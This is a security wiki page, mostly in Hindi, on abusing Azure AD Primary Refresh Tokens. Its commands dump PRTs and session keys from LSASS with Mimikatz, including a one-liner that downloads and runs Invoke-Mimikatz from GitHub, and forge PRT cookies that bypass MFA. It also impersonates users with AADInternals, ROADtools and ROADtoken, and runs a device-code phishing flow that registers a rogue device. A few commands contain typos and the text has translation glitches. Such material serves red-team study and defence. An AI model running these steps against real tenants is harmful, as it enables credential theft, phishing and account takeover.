Az - Primary Refresh Token (PRT)

Reading time: 23 minutes

What is a Primary Refresh Token (PRT)?

A Primary Refresh Token (PRT) एक दीर्घकालिक रिफ्रेश टोकन है जो Azure AD (Entra ID) प्रमाणीकरण में उपयोग किया जाता है, जो Kerberos TGT के समान है। यह Azure AD-से जुड़े डिवाइस पर उपयोगकर्ता लॉगिन के समय जारी किया जाता है और इसे विभिन्न अनुप्रयोगों के लिए एक्सेस टोकन अनुरोध करने के लिए उपयोग किया जा सकता है बिना क्रेडेंशियल्स को फिर से पूछे। प्रत्येक PRT के साथ एक सत्र कुंजी (जिसे प्रमाण-स्वामित्व कुंजी भी कहा जाता है) होती है -- एक सममित कुंजी जो अनुरोधों पर हस्ताक्षर करने और यह साबित करने के लिए उपयोग की जाती है कि क्लाइंट के पास PRT है। PRT स्वयं एक अपारदर्शी, एन्क्रिप्टेड ब्लॉब है (जो क्लाइंट द्वारा पढ़ा नहीं जा सकता), जबकि सत्र कुंजी का उपयोग टोकन अनुरोध करते समय PRT को शामिल करने वाले JWT पर हस्ताक्षर करने के लिए किया जाता है। दूसरे शब्दों में, केवल PRT का स्वामित्व अपर्याप्त है; एक हमलावर को वैधता साबित करने के लिए सत्र कुंजी की आवश्यकता होती है, जैसे कि प्रमाणीकरण के लिए Kerberos TGT और इसकी सत्र कुंजी दोनों की आवश्यकता होती है।

Windows पर, PRT और सत्र कुंजी को CloudAP प्लगइन के माध्यम से LSASS प्रक्रिया में कैश किया जाता है। यदि किसी डिवाइस में TPM (विश्वसनीय प्लेटफ़ॉर्म मॉड्यूल) है, तो Azure AD कुंजियों को अतिरिक्त सुरक्षा के लिए TPM से बांधता है। इसका मतलब है कि TPM-सुसज्जित उपकरणों पर, सत्र कुंजी TPM के भीतर संग्रहीत या उपयोग की जाती है ताकि इसे सामान्य परिस्थितियों में मेमोरी से सीधे पढ़ा न जा सके। यदि कोई TPM उपलब्ध नहीं है (जैसे कि कई VMs या पुराने सिस्टम), तो कुंजियाँ सॉफ़्टवेयर में रखी जाती हैं और DPAPI एन्क्रिप्शन के साथ सुरक्षित की जाती हैं। दोनों मामलों में, एक हमलावर जिसके पास प्रशासनिक विशेषाधिकार या मशीन पर कोड निष्पादन है, वह मेमोरी से PRT और सत्र कुंजी को डंप करने का प्रयास कर सकता है और फिर उन्हें क्लाउड में उपयोगकर्ता का अनुकरण करने के लिए उपयोग कर सकता है। सामान्य रिफ्रेश टोकनों के विपरीत (जो आमतौर पर अनुप्रयोग-विशिष्ट होते हैं), एक PRT व्यापक है, जिससे आपके डिवाइस को लगभग किसी भी Entra ID-एकीकृत संसाधन या सेवा के लिए टोकन अनुरोध करने की अनुमति मिलती है।

How Does a PRT Work?

Here's a simplified breakdown of how a PRT operates:

1. Device Registration:

• जब आपका डिवाइस (जैसे Windows लैपटॉप या मोबाइल फोन) Entra ID से जुड़ता है या पंजीकरण करता है, तो यह आपके क्रेडेंशियल्स (उपयोगकर्ता नाम/पासवर्ड/MFA) का उपयोग करके प्रमाणीकरण करता है।

• सफल प्रमाणीकरण के बाद, Entra ID एक PRT जारी करता है जो विशेष रूप से आपके डिवाइस से बंधा होता है।

2. Token Storage:

• PRT को आपके डिवाइस पर सुरक्षित रूप से संग्रहीत किया जाता है, अक्सर Trusted Platform Module (TPM) जैसी हार्डवेयर सुविधाओं द्वारा सुरक्षित किया जाता है, यह सुनिश्चित करते हुए कि इसे अनधिकृत पक्षों द्वारा निकालना या दुरुपयोग करना कठिन है।

3. Single Sign-On (SSO):

• प्रत्येक बार जब आप Entra ID-सुरक्षित अनुप्रयोग (जैसे, Microsoft 365 ऐप्स, SharePoint, Teams) तक पहुँचते हैं, तो आपका डिवाइस चुपचाप संग्रहीत PRT का उपयोग करके उस ऐप के लिए एक विशिष्ट एक्सेस टोकन अनुरोध करता है और प्राप्त करता है।

• आपको बार-बार अपने क्रेडेंशियल्स दर्ज करने की आवश्यकता नहीं होती क्योंकि PRT प्रमाणीकरण को पारदर्शी रूप से संभालता है।

4. Renewal and Security:

• PRT की लंबी आयु होती है (आमतौर पर लगभग 14 दिन), लेकिन जब तक आपका डिवाइस सक्रिय रूप से उपयोग में है, तब तक इसे लगातार नवीनीकरण किया जाता है।

• यदि आपका डिवाइस समझौता कर लिया जाता है या खो जाता है, तो प्रशासक आपके PRT को दूरस्थ रूप से रद्द कर सकते हैं, तुरंत अनधिकृत पहुँच को अवरुद्ध कर सकते हैं।

Why are PRTs Powerful?

• Universal Access: सामान्य टोकनों के विपरीत जो एक ऐप या संसाधन तक सीमित होते हैं, एक PRT सभी Entra ID-एकीकृत सेवाओं तक पहुँच की सुविधा प्रदान कर सकता है।

• Enhanced Security: TPM जैसी अंतर्निहित हार्डवेयर सुरक्षा के साथ, PRT सुरक्षित टोकन भंडारण और उपयोग सुनिश्चित करते हैं।

• User Experience: PRT उपयोगकर्ता अनुभव को महत्वपूर्ण रूप से सुधारते हैं, बार-बार प्रमाणीकरण संकेतों को कम करते हैं और वास्तविक निर्बाध SSO को सक्षम करते हैं।

How to know if a PRT is present?

• Check if PRT is present:

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• TPM द्वारा संरक्षित है या नहीं, इसकी जांच करें:

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

PRT पास करें

According to this post on Windows devices without TPM binding, the PRT and its session key live in LSASS (CloudAP plug‑in). With local admin/SYSTEM on that device, the PRT blob and the DPAPI‑encrypted session key can be read from LSASS, the session key decrypted via DPAPI, and the signing key derived to mint a valid PRT cookie (x‑ms‑RefreshTokenCredential). You need both the PRT and its session key—the PRT string alone isn’t enough.

Mimikatz

1. The PRT (Primary Refresh Token) is extracted from LSASS (Local Security Authority Subsystem Service) and stored for subsequent use.
2. The Session Key is extracted next. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: HackTricks and for an understanding of its application, refer to Pass-the-cookie attack.
3. Post decryption of the Session Key, the derived key and context for the PRT are obtained. These are crucial for the creation of the PRT cookie. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible here.

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

PRT क्षेत्र में एन्क्रिप्टेड रिफ्रेश टोकन होता है (आमतौर पर base64 स्ट्रिंग), और ProofOfPossessionKey में KeyValue DPAPI-एन्क्रिप्टेड सत्र कुंजी है (यह भी base64 है)।

फिर, sekurlsa::cloudap आउटपुट से, ProofOfPossessionKey क्षेत्र के अंदर KeyValue से base64 ब्लॉब कॉपी करें (यह DPAPI के साथ एन्क्रिप्टेड सत्र कुंजी है)। इस एन्क्रिप्टेड कुंजी का उपयोग सीधे नहीं किया जा सकता – इसे सिस्टम के DPAPI क्रेडेंशियल्स का उपयोग करके डिक्रिप्ट करना होगा।

क्योंकि सिस्टम रहस्यों के लिए DPAPI एन्क्रिप्शन मशीन के सिस्टम संदर्भ की आवश्यकता होती है, अपने टोकन को SYSTEM में बढ़ाएं और Mimikatz के DPAPI मॉड्यूल का उपयोग करके डिक्रिप्ट करें:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

token::elevate SYSTEM का अनुकरण करेगा और dpapi::cloudapkd कमांड /unprotect के साथ DPAPI मास्टर कुंजी का उपयोग करके प्रदान किए गए KeyValue ब्लॉब को डिक्रिप्ट करेगा। इससे स्पष्ट-टेक्स्ट सत्र कुंजी और संबंधित Derived Key और Context प्राप्त होता है जो साइनिंग के लिए उपयोग किया जाता है:

• Clear key – स्पष्ट टेक्स्ट में 32-बाइट सत्र कुंजी (हैक्स स्ट्रिंग के रूप में प्रदर्शित)।
• Derived Key – सत्र कुंजी और एक संदर्भ मान से निकाली गई 32-बाइट कुंजी (इस पर नीचे और अधिक)।
• Context – 24-बाइट यादृच्छिक संदर्भ जो PRT कुकी के लिए साइनिंग कुंजी निकालने के समय उपयोग किया गया था।

फिर, आप एक मान्य PRT कुकी उत्पन्न करने के लिए mimikatz का भी उपयोग कर सकते हैं:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz एक साइन किया हुआ JWT (जिसे PRT cookie कहा जाता है) "Signature with key" लाइन के बाद आउटपुट करेगा, जिसमें PRT होता है और इसे प्राप्त कुंजी का उपयोग करके साइन किया जाता है। इस JWT को कॉपी किया जा सकता है और फिर एक वेब सत्र में उपयोग किया जा सकता है। उदाहरण के लिए, एक हमलावर एक ब्राउज़र खोल सकता है, login.microsoftonline.com पर जा सकता है, और एक कुकी सेट कर सकता है जिसका नाम x-ms-RefreshTokenCredential है और जिसका मान यह JWT है। जब ब्राउज़र रिफ्रेश या नेविगेट करता है, Azure AD सत्र को प्रमाणित के रूप में मानता है (PRT कुकी को इस तरह प्रस्तुत किया जाता है जैसे SSO हुआ हो), और यह निर्दिष्ट संसाधन के लिए एक प्राधिकरण कोड या एक्सेस टोकन जारी करेगा। प्रैक्टिस में, कोई Office 365 या Azure पोर्टल जैसे संसाधन पर नेविगेट करेगा; एक मान्य PRT कुकी की उपस्थिति का मतलब है कि Azure AD बिना अतिरिक्त लॉगिन के एक्सेस देगा (MFA को बायपास करते हुए, क्योंकि PRT पहले से प्रमाणित है)।

आप roadtx और roadrecon का उपयोग PRT कुकी के PRT के साथ उपयोगकर्ता का अनुकरण करने के लिए भी कर सकते हैं (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)।

Mimikatz + AADInternals

AADInternals PowerShell मॉड्यूल को पहले प्राप्त PRT और सत्र कुंजी के साथ एक मान्य PRT टोकन उत्पन्न करने के लिए भी उपयोग किया जा सकता है। यह नए PRT टोकन को नॉनस के साथ प्राप्त करने की प्रक्रिया को स्वचालित करने के लिए उपयोगी है, जिसे Azure AD Graph API या अन्य संसाधनों के लिए एक्सेस टोकन प्राप्त करने के लिए उपयोग किया जा सकता है:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

यह एक ताजा PRT कुकी (एक nonce के साथ) प्राप्त करता है और फिर इसका उपयोग Azure AD Graph API के लिए एक एक्सेस टोकन प्राप्त करने के लिए करता है (उपयोगकर्ता की ओर से क्लाउड एक्सेस का प्रदर्शन करते हुए)। AADInternals बहुत सी क्रिप्टोग्राफी को अमूर्त करता है और इसके तहत Windows घटकों या अपनी स्वयं की लॉजिक का उपयोग करता है।

Mimikatz + roadtx

• पहले PRT को नवीनीकरण करें, जो इसे roadtx.prt में सहेज देगा:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• अब हम roadtx browserprtauth के साथ इंटरैक्टिव ब्राउज़र का उपयोग करके टोकन अनुरोध कर सकते हैं। यदि हम roadtx describe कमांड का उपयोग करते हैं, तो हम देखते हैं कि एक्सेस टोकन में एक MFA दावा शामिल है क्योंकि इस मामले में मैंने जो PRT उपयोग किया था, उसमें भी एक MFA दावा था।

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

mimikatz द्वारा डंप की गई संदर्भ और व्युत्पन्न कुंजी के साथ, roadrecon का उपयोग करके एक नया साइन किया हुआ कुकी उत्पन्न करना संभव है:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

संरक्षित PRT का दुरुपयोग

उल्लेखित सुरक्षा उपायों के बावजूद, एक हमलावर जिसने पहले ही एक डिवाइस को समझौता कर लिया है (एक स्थानीय उपयोगकर्ता के रूप में या यहां तक कि SYSTEM के रूप में) अभी भी नए एक्सेस टोकन प्राप्त करने के लिए PRT का दुरुपयोग कर सकता है Windows के अपने टोकन ब्रोकर APIs और सुरक्षा घटकों का लाभ उठाकर। कच्चे PRT या कुंजी को निकालने के बजाय, हमलावर मूलतः Windows से उनके पक्ष में PRT का उपयोग करने के लिए "कहता" है। नीचे के अनुभागों में, हम PRTs और उनके सत्र कुंजियों के दुरुपयोग के लिए वर्तमान में मान्य तकनीकों को रेखांकित करते हैं जो अद्यतन Windows उपकरणों पर लागू होती हैं जहां TPM सुरक्षा प्रभाव में है। ये सभी तकनीकें लक्षित मशीन पर पोस्ट-एक्सप्लॉइटेशन एक्सेस मानती हैं, और निर्मित प्रमाणीकरण प्रवाह के दुरुपयोग पर ध्यान केंद्रित करती हैं (कोई पैच न की गई कमजोरियों की आवश्यकता नहीं है)।

Windows टोकन ब्रोकर आर्किटेक्चर और SSO प्रवाह

आधुनिक Windows क्लाउड प्रमाणीकरण को एक अंतर्निहित टोकन ब्रोकर स्टैक के माध्यम से संभालता है, जिसमें उपयोगकर्ता मोड और LSASS (स्थानीय सुरक्षा प्राधिकरण) दोनों में घटक शामिल हैं। इस आर्किटेक्चर के प्रमुख हिस्से में शामिल हैं:

• LSASS CloudAP प्लगइन: जब एक डिवाइस Azure AD से जुड़ा होता है, LSASS क्लाउड प्रमाणीकरण पैकेज (जैसे CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) लोड करता है जो PRTs और टोकन अनुरोधों का प्रबंधन करते हैं। LSASS (SYSTEM के रूप में चल रहा) PRT भंडारण, नवीनीकरण और उपयोग का समन्वय करता है, और क्रिप्टोग्राफिक संचालन (जैसे सत्र कुंजी के साथ PRT चुनौती पर हस्ताक्षर करना) करने के लिए TPM के साथ इंटरफेस करता है।

• वेब खाता प्रबंधक (WAM): Windows वेब खाता प्रबंधक एक उपयोगकर्ता-मोड ढांचा है (जो COM/WinRT APIs के माध्यम से सुलभ है) जो अनुप्रयोगों या ब्राउज़रों को प्रमाणीकरण के लिए क्रेडेंशियल्स के लिए संकेत किए बिना क्लाउड खातों के लिए टोकन अनुरोध करने की अनुमति देता है। WAM उपयोगकर्ता अनुप्रयोगों और सुरक्षित LSASS/TPM-समर्थित PRT के बीच एक ब्रोकर के रूप में कार्य करता है। उदाहरण के लिए, Microsoft's MSAL पुस्तकालय और कुछ OS घटक WAM का उपयोग करके लॉग इन किए गए उपयोगकर्ता के PRT का उपयोग करके चुपचाप टोकन प्राप्त करते हैं।

• BrowserCore.exe और टोकन ब्रोकर COM इंटरफेस: ब्राउज़र SSO के लिए, Windows में एक घटक शामिल है जिसे BrowserCore.exe कहा जाता है (जो Windows Security\BrowserCore के तहत स्थित है)। यह एक मूल संदेश होस्ट है जिसका उपयोग ब्राउज़रों (Edge, Chrome एक एक्सटेंशन के माध्यम से, आदि) द्वारा Azure AD लॉगिन के लिए PRT-व्युत्पन्न SSO टोकन प्राप्त करने के लिए किया जाता है। आंतरिक रूप से, BrowserCore एक COM ऑब्जेक्ट का लाभ उठाता है जो MicrosoftAccountTokenProvider.dll द्वारा प्रदान किया गया है ताकि PRT-आधारित कुकी/टोकन प्राप्त किया जा सके। वास्तव में, यह COM इंटरफेस एक पहले पक्ष का "टोकन ब्रोकर" API है जिसे उपयोगकर्ता के रूप में चलने वाली कोई भी प्रक्रिया SSO टोकन प्राप्त करने के लिए obscall कर सकती है (जब तक उपयोगकर्ता के पास LSASS में एक मान्य PRT है)।

जब एक Azure AD से जुड़े उपयोगकर्ता एक संसाधन (मान लीजिए, Azure पोर्टल) तक पहुँचने की कोशिश करता है, तो प्रवाह आमतौर पर होता है: एक अनुप्रयोग WAM या BrowserCore के COM इंटरफेस में कॉल करता है, जो बदले में LSASS के साथ संवाद करता है। LSASS PRT और सत्र कुंजी (TPM द्वारा सुरक्षित) का उपयोग करके एक SSO टोकन उत्पन्न करता है -- जिसे अक्सर PRT कुकी कहा जाता है -- जिसे फिर अनुप्रयोग या ब्राउज़र को वापस दिया जाता है। PRT कुकी एक विशेष JWT है जिसमें एन्क्रिप्टेड PRT और एक nonce होता है, जिसे PRT के सत्र कुंजी से निकाली गई कुंजी के साथ हस्ताक्षरित किया जाता है। यह कुकी Azure AD को भेजी जाती है (एक x-ms-RefreshTokenCredential हेडर में) यह साबित करने के लिए कि डिवाइस और उपयोगकर्ता के पास एक मान्य PRT है, जिससे Azure AD विभिन्न अनुप्रयोगों के लिए मानक OAuth रिफ्रेश और एक्सेस टोकन जारी कर सकता है। विशेष रूप से, PRT में मौजूद कोई भी मल्टी-फैक्टर प्रमाणीकरण (MFA) दावा इस SSO प्रक्रिया के माध्यम से प्राप्त टोकनों में ले जाया जाएगा, जिसका अर्थ है कि PRT-व्युत्पन्न टोकन MFA-सुरक्षित संसाधनों को संतुष्ट कर सकते हैं।

उपयोगकर्ता-स्तरीय टोकन चोरी (गैर-प्रशासक)

जब एक हमलावर के पास उपयोगकर्ता-स्तरीय कोड निष्पादन होता है, तो PRT की TPM सुरक्षा हमलावर को टोकन प्राप्त करने से नहीं रोकती। हमलावर निर्मित Windows टोकन ब्रोकर APIs का लाभ उठाता है:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore एक COM क्लास (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) को PRT कुकीज़ प्राप्त करने के लिए उजागर करता है। इस COM API को Azure AD SSO के लिए ब्राउज़रों (Chrome/Edge एक्सटेंशन) द्वारा वैध रूप से बुलाया जाता है।

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Azure AD रिफ्रेश टोकन या PRT कुकी लौटाता है)

• ROADtoken & ROADtools

ROADtoken BrowserCore.exe को सही निर्देशिका से चलाएगा और इसका उपयोग PRT कुकी प्राप्त करने के लिए करेगा। इस कुकी का उपयोग ROADtools के साथ प्रमाणीकरण करने और एक स्थायी रिफ्रेश टोकन प्राप्त करने के लिए किया जा सकता है।

एक मान्य PRT कुकी उत्पन्न करने के लिए आपको सबसे पहले एक nonce की आवश्यकता है।
आप इसे प्राप्त कर सकते हैं:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

या roadrecon का उपयोग करके:

roadrecon auth prt-init

फिर आप roadtoken का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता के एक प्रक्रिया से हमले के लिए उपकरण में चलाएँ):

.\ROADtoken.exe <nonce>

As oneliner:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

फिर आप जनित कुकी का उपयोग टोकन उत्पन्न करने के लिए लॉगिन करने के लिए Azure AD Graph या Microsoft Graph का उपयोग कर सकते हैं:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

हमलावर वैध Microsoft प्रमाणीकरण पुस्तकालयों (MSAL, WAM APIs, WebAuthenticationCoreManager) का उपयोग करते हैं जो उपयोगकर्ता-स्तरीय प्रक्रियाओं से चुपचाप TPM-संरक्षित PRT का लाभ उठाकर टोकन प्राप्त करते हैं।

• aadprt

execute-assembly aadprt.exe

(COM इंटरफेस के माध्यम से PRT कुकी प्राप्त करता है)

• listwamaccounts

execute-assembly listwamaccounts.exe

(Azure AD खातों की सूची जो WAM के माध्यम से लॉग इन हैं; टोकन लक्ष्यों की पहचान करता है)

• सामान्य उदाहरण (PowerShell के साथ MSAL):

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(चुपचाप PRT का उपयोग करके एक एक्सेस टोकन प्राप्त करता है)

व्यवस्थापक / SYSTEM-स्तरीय टोकन दुरुपयोग

यदि हमलावर व्यवस्थापक या SYSTEM में वृद्धि करता है, तो वे सीधे किसी भी Azure AD लॉग-ऑन उपयोगकर्ता का अनुकरण कर सकते हैं और उसी COM/WAM टोकन ब्रोकर APIs का उपयोग कर सकते हैं। TPM-संरक्षित PRTs इस वैध टोकन जारी करने से रोकते नहीं हैं।

उपयोगकर्ता अनुकरण और टोकन पुनर्प्राप्ति

व्यवस्थापक/SYSTEM अन्य उपयोगकर्ताओं के चल रहे सत्रों का अनुकरण कर सकते हैं ताकि टोकन उत्पन्न करने के लिए BrowserCore या WAM को सक्रिय किया जा सके।

इसके लिए बस उपयोगकर्ता प्रक्रिया (जैसे, explorer.exe) का अनुकरण करें और पिछले अनुभाग में टिप्पणी की गई किसी भी तकनीक का उपयोग करके टोकन ब्रोकर APIs को सक्रिय करें।

प्रत्यक्ष LSASS और टोकन ब्रोकर इंटरैक्शन (उन्नत)

एक व्यवस्थापक अभी भी PRT का दुरुपयोग करने के लिए LSASS के साथ काम कर सकता है: उदाहरण के लिए, एक व्यवस्थापक LSASS में कोड इंजेक्ट कर सकता है या LSASS को टोकन उत्पन्न करने के लिए आंतरिक CloudAP कार्यों को कॉल कर सकता है। डिर्क-जान के शोध ने नोट किया कि एक व्यवस्थापक “क्रिप्टो APIs का उपयोग करके LSASS में PRT कुंजियों के साथ इंटरैक्ट कर सकता है”। व्यावहारिक रूप से, इसका मतलब हो सकता है कि LSASS के अपने कार्यों का उपयोग करना (यदि उपलब्ध हो तो API हुकिंग या RPC जैसी तकनीक के माध्यम से) PRT कुकी उत्पन्न करने के लिए। एक और दृष्टिकोण यह है कि किसी भी विंडो का लाभ उठाना जहां सत्र कुंजी मेमोरी में प्रकट हो सकती है - उदाहरण के लिए, PRT नवीनीकरण या डिवाइस पंजीकरण के क्षण में जब इसका उपयोग के लिए एन्क्रिप्ट नहीं किया गया हो। ऐसे हमले काफी अधिक जटिल और परिस्थितिजन्य होते हैं। एक अधिक सीधा व्यवस्थापक रणनीति मौजूदा टोकन हैंडल या कैश का दुरुपयोग करना है: LSASS हाल ही में जारी किए गए रिफ्रेश टोकन को मेमोरी में कैश करता है (DPAPI के साथ एन्क्रिप्ट किया गया)। एक दृढ़ SYSTEM हमलावर इन DPAPI-संरक्षित टोकनों को निकालने का प्रयास कर सकता है (उपयोगकर्ता की मास्टर कुंजी का उपयोग करके, जिसे एक व्यवस्थापक प्राप्त कर सकता है) ताकि विशिष्ट अनुप्रयोगों के लिए सीधे रिफ्रेश टोकन चुराए जा सकें। हालाँकि, सबसे आसान और सबसे सामान्य विधि अनुकरण और प्रलेखित टोकन ब्रोकर इंटरफेस का उपयोग करना है, क्योंकि ये सुनिश्चित करते हैं कि Azure AD ताजा टोकन जारी करेगा (सभी उचित दावों के साथ) बजाय इसके कि एन्क्रिप्शन को क्रैक करने का प्रयास किया जाए।

PRT फ़िशिंग

OAuth डिवाइस कोड प्रवाह का दुरुपयोग करें Microsoft Authentication Broker क्लाइंट ID (29d9ed98-a469-4536-ade2-f981bc1d605e) और डिवाइस पंजीकरण सेवा (DRS) संसाधन का उपयोग करके एक रिफ्रेश टोकन प्राप्त करें जिसे एक प्राथमिक रिफ्रेश टोकन (PRT) में अपग्रेड किया जा सकता है एक धोखाधड़ी डिवाइस पंजीकृत करने के बाद।

यह क्यों काम करता है

• PRT डिवाइस-बाउंड है और (लगभग) किसी भी Entra-संरक्षित ऐप के लिए SSO सक्षम करता है।
• ब्रोकर क्लाइंट + DRS संयोजन एक फ़िश्ड रिफ्रेश टोकन को PRT के लिए विनिमय करने की अनुमति देता है जब एक डिवाइस पंजीकृत होता है।
• MFA को बायपास नहीं किया गया है: उपयोगकर्ता फ़िश के दौरान MFA करता है; MFA दावे परिणामी PRT में फैलते हैं, जिससे हमलावर को बिना किसी और प्रॉम्प्ट के ऐप्स तक पहुंचने की अनुमति मिलती है।

पूर्वापेक्षाएँ:

• डिवाइस कोड के माध्यम से उपयोगकर्ता प्रमाणीकरण ब्रोकर क्लाइंट ID (29d9ed98-a469-4536-ade2-f981bc1d605e) और DRS स्कोप/संसाधन (जैसे, 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default या https://enrollment.manage.microsoft.com/) का उपयोग करके।
• उपयोगकर्ता Entra ID में डिवाइस पंजीकृत कर सकता है (डिफ़ॉल्ट: अनुमति दी गई, लेकिन इसे प्रतिबंधित या कोटा-सीमित किया जा सकता है)।
• कोई अवरोध CA नीतियाँ नहीं जो डिवाइस कोड को अक्षम करती हैं या लक्षित ऐप्स के लिए अनुपालन/हाइब्रिड डिवाइस की आवश्यकता करती हैं (वे PRT जारी करने को रोकेंगी, लेकिन इसे संरक्षित ऐप्स तक पहुंचने के लिए उपयोग करने से रोकेंगी)।
• हमलावर-नियंत्रित होस्ट प्रवाह को चलाने और टोकन/डिवाइस कुंजी रखने के लिए।

हमला प्रवाह:

1. क्लाइंट_id = ब्रोकर और DRS स्कोप/संसाधन के साथ डिवाइस कोड प्रमाणीकरण शुरू करें; पीड़ित को उपयोगकर्ता कोड दिखाएँ।

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. शिकार Microsoft की साइट पर साइन इन करता है (वैध UI) और MFA पूरा करता है → हमलावर को Broker क्लाइंट के लिए एक DRS-स्कोप वाला रिफ्रेश टोकन प्राप्त होता है।

3. उस रिफ्रेश टोकन का उपयोग करके टेनेट में एक धोखाधड़ी डिवाइस रजिस्टर करें (डिवाइस ऑब्जेक्ट बनाया जाता है और शिकार के साथ लिंक किया जाता है)।

4. रिफ्रेश टोकन + डिवाइस पहचान/कीज़ का आदान-प्रदान करके PRT में अपग्रेड करें → हमलावर के डिवाइस के लिए PRT बंधा हुआ।

5. (वैकल्पिक स्थायीता): यदि MFA ताजा था, तो लंबी अवधि के लिए पासवर्ड रहित पहुंच बनाए रखने के लिए Windows Hello for Business कुंजी रजिस्टर करें।

6. दुरुपयोग: उपयोगकर्ता के रूप में एक्सचेंज/ग्राफ/शेयरपॉइंट/टीम/कस्टम ऐप्स के लिए एक्सेस टोकन प्राप्त करने के लिए PRT को भुनाएं (या PRT कुकी बनाएं)।

सार्वजनिक उपकरण और प्रमाण-को-कॉन्सेप्ट

• ROADtools/ROADtx: OAuth प्रवाह, डिवाइस रजिस्ट्रेशन, और टोकन अपग्रेड को स्वचालित करता है।
• DeviceCode2WinHello: डिवाइस कोड फ़िश-टू-PRT+WHfB कुंजी को स्वचालित करने वाला एकल-आदेश स्क्रिप्ट।

संदर्भ

• Dirkjan का PRT पर ब्लॉग पोस्ट
• Dirkjan का PRTs को फ़िशिंग करने पर पोस्ट
• Dirkjan का PRTs के दुरुपयोग पर पोस्ट
• SpecterOps पोस्ट पर Azure AD अनुरोध टोकन का अनुरोध करना
• AADInternals पर PRTs पर पोस्ट
• blog.3or.de